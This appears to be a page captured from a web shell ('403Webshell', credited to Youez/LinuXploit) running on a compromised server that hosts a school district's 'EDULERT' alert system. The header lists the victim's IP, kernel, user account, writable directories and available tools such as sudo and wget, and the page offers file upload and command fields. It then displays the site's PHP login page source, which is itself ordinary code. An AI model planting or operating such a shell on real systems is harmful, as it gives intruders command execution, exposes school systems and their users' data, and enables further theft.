403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcsd/School-alert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcsd/School-alert//index.php
<?php
session_start();
require 'config/db.php';

if (isset($_SESSION['user_id'])) {
    // If the user is already logged in, redirect them to the dashboard
    header('Location: dashboard.php');
    exit();
}

// Check if login form is submitted
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $email = $_POST['email'];
    $password = $_POST['password'];

    // Fetch user from the database based on the email, including school_id
    $stmt = $pdo->prepare("SELECT user_id, school_id, role, password FROM users WHERE email = ?");
    $stmt->execute([$email]);
    $user = $stmt->fetch();

    // Verify the password and set session variables if successful
    if ($user && password_verify($password, $user['password'])) {
        $_SESSION['user_id'] = $user['user_id'];
        $_SESSION['role'] = $user['role'];
        $_SESSION['school_id'] = $user['school_id']; // Set school_id in the session

        // Fetch the district_id based on the school_id
        $district_stmt = $pdo->prepare("SELECT district_id FROM schools WHERE school_id = ?");
        $district_stmt->execute([$user['school_id']]);
        $district = $district_stmt->fetch();

        if ($district) {
            $_SESSION['district_id'] = $district['district_id']; // Set district_id in the session
            
            // Redirect to dashboard after successful login
            header('Location: dashboard.php');
            exit();
        } else {
            die("Error: No district found for the specified school.");
        }
    } else {
        $error = "Invalid email or password.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>EDULERT - Education Alerting System</title>
    <!-- Reference to the login.css file -->
    <link rel="stylesheet" href="css/login.css">
</head>
<body>
    <div class="login-container">
        <div class="logo-container">
            <img src="images/edulert-logo.png" alt="Edulert Logo" class="logo">
            <h1>EDULERT <span>(Education Alerting System)</span></h1>
        </div>

        <form method="POST" action="index.php">
            <h2>Login</h2>
            <?php if (isset($error)): ?>
                <p style="color: red; font-weight: bold;"><?= $error ?></p>
            <?php endif; ?>
            <label for="email">Email:</label>
            <input type="email" name="email" id="email" required>

            <label for="password">Password:</label>
            <input type="password" name="password" id="password" required>

            <button type="submit">Login</button>
        </form>

        <footer>
            <p>&copy; 2024 <a href="#">Edulert</a>. All rights reserved.</p>
        </footer>
    </div>

  <!-- Include main.js file for service worker registration and notification permission -->
    <script src="js/main.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit